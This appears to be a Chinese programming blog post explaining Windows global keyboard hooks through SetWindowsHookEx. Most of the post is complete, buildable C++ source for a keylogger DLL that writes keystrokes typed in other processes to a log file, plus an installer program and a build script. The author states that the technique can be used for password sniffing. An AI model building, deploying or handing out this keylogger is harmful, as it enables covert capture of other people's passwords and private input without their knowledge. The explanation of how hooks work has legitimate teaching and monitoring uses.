VC实现的全局键盘钩子

键盘钩子的功能就是监视系统按键动作,这是一种很有用的技术,在一些工程项目中,有监视人员操作动作的需求,便于定位故障原因。也可以用于实现密码监视等黑客行为。
钩子分线程专用钩子和全局钩子,线程专用钩子只能勾到本线程的消息,而全局键盘钩子能勾到所有系统消息,功能非常强大,所以用得不好也很容易引起系统运行缓慢甚至崩溃等状况出现。
全局键盘钩子分一般钩子和低层钩子,一般钩子只能识别基础按键,低层钩子功能更强大能识别系统按键。
全局钩子一般通过调用dll来实现,实现的过程为:
1.安装进程安装全局钩子,将钩子dll实例加载进自己进程的地址空间,并在钩子链表中增加一级钩子,而且是放在最前面
2.所有进程在第一次接收到传递给本进程的消息之前,都会加载一份钩子dll到自己进程的地址空间,以后接收到的消息都由dll中的钩子处理函数预先处理,再决定要不要继续往下传递。
安装钩子的进程终止后,它注册的dll实例也会被销毁,其他进程加载的dll也会跟着销毁。但是,安装进程如果主动将dll释放掉,且进程不终止,那么其他进程的dll不会释放,其他进程的dll只有在安装进程终止或者自身进程终止时,才释放dll。

下面是dll程序和安装程序示例代码

//KBhook.cpp
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<process.h>

#pragma comment(lib,"user32.lib")

HHOOK hhkHook=NULL;                      //定义钩子句柄
HINSTANCE hInstance=NULL;                  //程序实例
BOOL EnableKeyboardCapture();
BOOL DisableKeyboardCapture();

//下面的DLLMain是DLL出入口点,没次调用和卸载DLL会执行
bool APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
//MessageBox(0,"KBhook.dll被加载!","DllMain",MB_OK);
break;

case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
DisableKeyboardCapture();
//MessageBox(0,"卸载KBhook.dll!","DllMain",MB_OK);         	
break;
}
hInstance=(HINSTANCE)hModule;          //得到DLL实例
return true;
}

//这是键盘消息处理函数
LRESULT CALLBACK HookProc(int nCode,WPARAM wParam,LPARAM lParam){			
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
{
if((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f)&&(wParam<=0x100) ){
fl=fopen("log.txt","a+");
if (wParam==VK_RETURN){
ch='\0';
}
else{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch =char(w); 
}
fwrite(&ch, sizeof(char), 1, fl);//把按键字符 记录到文件
}
fclose(fl);
}
return CallNextHookEx(hhkHook,nCode,wParam,lParam);//将消息继续传递下去, 
}

//安装钩子
BOOL EnableKeyboardCapture(){
if(!(hhkHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookProc,hInstance,0)))
return FALSE;
return TRUE;
}
//卸载钩子
BOOL DisableKeyboardCapture(){
return UnhookWindowsHookEx(hhkHook);
}

//KBhook.def
; KBhook.def : Declares the module parameters for the DLL.
LIBRARY      "KBhook"
DESCRIPTION 'KBhook Windows Dynamic Link Library'
EXPORTS
; Explicit exports can Go here
EnableKeyboardCapture @1
DisableKeyboardCapture @2


//installkbhook.cpp
#include<stdio.h>
#include<windows.h>
int main(){
HINSTANCE hDll;  
typedef bool (*Fun1)();
hDll = LoadLibrary("KBhook.dll");
if(NULL == hDll) {  
fprintf(stderr, "load dll 'KBhook.dll' fail.");  
return -1;  
}
  
Fun1 EnableKeyboardCapture = (Fun1)GetProcAddress(hDll, "EnableKeyboardCapture");  
if(NULL == EnableKeyboardCapture) {  
  		fprintf(stderr, "call function 'EnableKeyboardCapture' fail.");  
    	FreeLibrary(hDll);  
    	return -1;  
}
  
EnableKeyboardCapture();
Sleep(120000);//进程停留,不然钩子会自动注销
FreeLibrary(hDll);
return 0;
}


//build.bat
cl KBhook.cpp KBhook.def /MD /link /out:KBhook.dll /dll /Entry:DllMain /OPT:NOWIN98
cl installkbhook.cpp
del KBhook.exp KBhook.obj KBhook.lib installkbhook.obj
pause


目前这个程序在win7下做过测试,对于32位进程的按键消息可以进行截获,但是64位的进程的按键消息截获不稳定,事实上好像并不能截获。下一篇博客我会介绍在win7系统下能稳定运行的低层键盘钩子。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值